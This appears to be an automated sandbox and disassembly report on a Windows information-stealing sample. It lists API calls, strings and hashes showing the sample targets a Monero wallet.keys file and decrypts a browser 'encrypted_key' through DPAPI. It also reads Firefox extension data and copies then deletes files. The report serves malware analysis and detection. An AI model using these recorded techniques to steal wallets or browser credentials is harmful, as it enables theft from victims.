Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 1029625771-1545816527
Opcode ID: 1a29378c0d021ac9b3a6566097e759cccf022a79b53db1b73d08c741b5eaa30a
Instruction ID: de6bd488b7503e6afacb9acf7bb24893457d889e64f18fac2aeef4cbef38d2e0
Opcode Fuzzy Hash: 1a29378c0d021ac9b3a6566097e759cccf022a79b53db1b73d08c741b5eaa30a
Instruction Fuzzy Hash: A6F0307068D280BFD727EB61ED88B9636ADE705714F500625F5159B1D0C3795CC8CB52

Function 00128EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001296AE,00000000), ref: 00128EEB
RtlAllocateHeap.NTDLL(00000000), ref: 00128EF2
wsprintfW.USER32 ref: 00128F08

Strings

%hs, xrefs: 00128EFF

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 6493fed43e136d2919b97430259eda7eb5732b43f13a01f26eaa51e684f3aea9
Instruction ID: 37809b23c3c0f0cabd65e2237f7ac680e1070937dd27ae685bc8b70fff7233fb
Opcode Fuzzy Hash: 6493fed43e136d2919b97430259eda7eb5732b43f13a01f26eaa51e684f3aea9
Instruction Fuzzy Hash: 18E0EC75A48349FBDB21DBD4DD4AE6D77BCEB09702F000694FE099B380DA719E109B91

Function 0011A990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0011AA11
lstrlen.KERNEL32(00000000,00000000), ref: 0011AB2F
lstrlen.KERNEL32(00000000), ref: 0011ADEC

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

DeleteFileA.KERNEL32(00000000), ref: 0011AE73

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ea2f08be3164042fab3b70eec9839dbda2ef7c4b9dc4333b88de321d523df65d
Instruction ID: 558e8e452c54a89390e7ff62fd7d0644e1dcdd49cd74f52d0fbaaa80cc722705
Opcode Fuzzy Hash: ea2f08be3164042fab3b70eec9839dbda2ef7c4b9dc4333b88de321d523df65d
Instruction Fuzzy Hash: 0EE1B3729101289BCB15FBA4EDA2EEE733DBF64300F908559F51676091EF306A5CCB62

Function 0011D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0011D581
lstrlen.KERNEL32(00000000), ref: 0011D798
lstrlen.KERNEL32(00000000), ref: 0011D7AC
DeleteFileA.KERNEL32(00000000), ref: 0011D82B

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad5eaef72ff7d876e87389524a9f058978b9b4a7fcd746796e74b11df9f09681
Instruction ID: 559157c5f2705f5b4400de266ded813071235de5d7f2589ee82ef2ef31e41abb
Opcode Fuzzy Hash: ad5eaef72ff7d876e87389524a9f058978b9b4a7fcd746796e74b11df9f09681
Instruction Fuzzy Hash: C591F7729101189BCB15FBA4EDA2EEE733DAF74300F904569F51676091EF307A68CB62

Function 0018FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0018FF9E
___AdjustPointer.LIBCMT ref: 0018FFC1
___AdjustPointer.LIBCMT ref: 0019005D

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: 919f20f67f15952651ed1a6e48c69024132702b8f95262400e37bf8d60c7aa70
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 4351B172600206AFEF2AEF54D881BBA77A4FF55710F28412DFA0586591E731EE41DF90

Function 0011A560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0011A664

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Strings

@, xrefs: 0011A614
v20, xrefs: 0011A571
v10, xrefs: 0011A5C6

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: 31797696746350179fda68a4e7f89c73c06382dbb740f260dbc6abf0e9c16b30
Instruction ID: 1457015b051c8c4d96d188ba14c756f838dc6f0009404c1e1552239f088b7dbe
Opcode Fuzzy Hash: 31797696746350179fda68a4e7f89c73c06382dbb740f260dbc6abf0e9c16b30
Instruction Fuzzy Hash: B6516F70A1020CEFDB18DFA4DD96FED77B6AF54300F808428F90A6B291EB706A45CB51

Function 0011F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 0011A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
Part of subcall function 0011A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
Part of subcall function 0011A110: LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
Part of subcall function 0011A110: ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
Part of subcall function 0011A110: LocalFree.KERNEL32(0011148F), ref: 0011A1E0
Part of subcall function 0011A110: CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

Part of subcall function 00128FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00128FE2

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00131678,00130D93), ref: 0011F64C
lstrlen.KERNEL32(00000000), ref: 0011F66B

Strings

^userContextId=4294967295, xrefs: 0011F69C
moz-extension+++, xrefs: 0011F6AD

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: b6ce01dbc421c82c60dcbdc276740582bbb9ae9f028bc1a18e2f41b4359930de
Instruction ID: 8f7af6901672152dffbcb68674b6410a30ace59333773a6f2bf9e0bc6b537701
Opcode Fuzzy Hash: b6ce01dbc421c82c60dcbdc276740582bbb9ae9f028bc1a18e2f41b4359930de
Instruction Fuzzy Hash: 8751F371D101189BCB04FBF4EDA6DED7379AF64300F808968F91667191EF346A18CB62

Function 001237B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: cb538519111debf987dee31d78a30044fbd10fa07c837767889cead12634d231
Instruction ID: 180490e915b978f5d34b50dcc39fb7036c7656724b9feaf681ad73b1a5ace56e
Opcode Fuzzy Hash: cb538519111debf987dee31d78a30044fbd10fa07c837767889cead12634d231
Instruction Fuzzy Hash: 47415171E001199FCF04EFE4E896AEEB778AF58304F408518F5167B290EB74AA55CFA1

Function 00124E00 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

lstrcat.KERNEL32(?,00000000), ref: 00124E3A
lstrcat.KERNEL32(?,00E3E6A0), ref: 00124E58

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124B7C
Part of subcall function 00124B60: FindFirstFileA.KERNEL32(?,?), ref: 00124B93

Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC4), ref: 00124BC1
Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,00130FC8), ref: 00124BD7
Part of subcall function 00124B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00124DCD
Part of subcall function 00124B60: FindClose.KERNEL32(000000FF), ref: 00124DE2

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124C00
Part of subcall function 00124B60: StrCmpCA.SHLWAPI(?,001308D3), ref: 00124C15
Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124C32
Part of subcall function 00124B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00124C6E
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00E3F910), ref: 00124C9A
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00130FE0), ref: 00124CAC
Part of subcall function 00124B60: lstrcat.KERNEL32(?,?), ref: 00124CC0
Part of subcall function 00124B60: lstrcat.KERNEL32(?,00130FE4), ref: 00124CD2
Part of subcall function 00124B60: lstrcat.KERNEL32(?,?), ref: 00124CE6
Part of subcall function 00124B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00124CFC
Part of subcall function 00124B60: DeleteFileA.KERNEL32(?), ref: 00124D81

Part of subcall function 00124B60: wsprintfA.USER32 ref: 00124C57

Strings

`, xrefs: 00124E99
, xrefs: 00124F6F

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: `$
API String ID: 2104210347-12876440
Opcode ID: 6deb13aa4fe840064d454561574e352db515ed503fb903d1f6559abe19390610
Instruction ID: 55fc590695ba58c305e540b2611dcdb03de618f8c669cbe4b50b4da29dc39faf
Opcode Fuzzy Hash: 6deb13aa4fe840064d454561574e352db515ed503fb903d1f6559abe19390610
Instruction Fuzzy Hash: 3841B8B76001086BC765F760FC93EEE733D9BE9340F404658B6465A185EF709AD88BD1

Function 0011A430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0011A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
Part of subcall function 0011A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
Part of subcall function 0011A110: LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
Part of subcall function 0011A110: ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
Part of subcall function 0011A110: LocalFree.KERNEL32(0011148F), ref: 0011A1E0
Part of subcall function 0011A110: CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

Part of subcall function 00128FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00128FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0011A489

Part of subcall function 0011A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A23F
Part of subcall function 0011A210: LocalAlloc.KERNEL32(00000040,?,?,?,00114F3E,00000000,?), ref: 0011A251
Part of subcall function 0011A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00114F3E,00000000,00000000), ref: 0011A27A
Part of subcall function 0011A210: LocalFree.KERNEL32(?,?,?,?,00114F3E,00000000,?), ref: 0011A28F

Part of subcall function 0011A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0011A2D4
Part of subcall function 0011A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0011A2F3
Part of subcall function 0011A2B0: LocalFree.KERNEL32(?), ref: 0011A323

Strings

, xrefs: 0011A511
DPAPI, xrefs: 0011A4D9
"encrypted_key":", xrefs: 0011A480

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
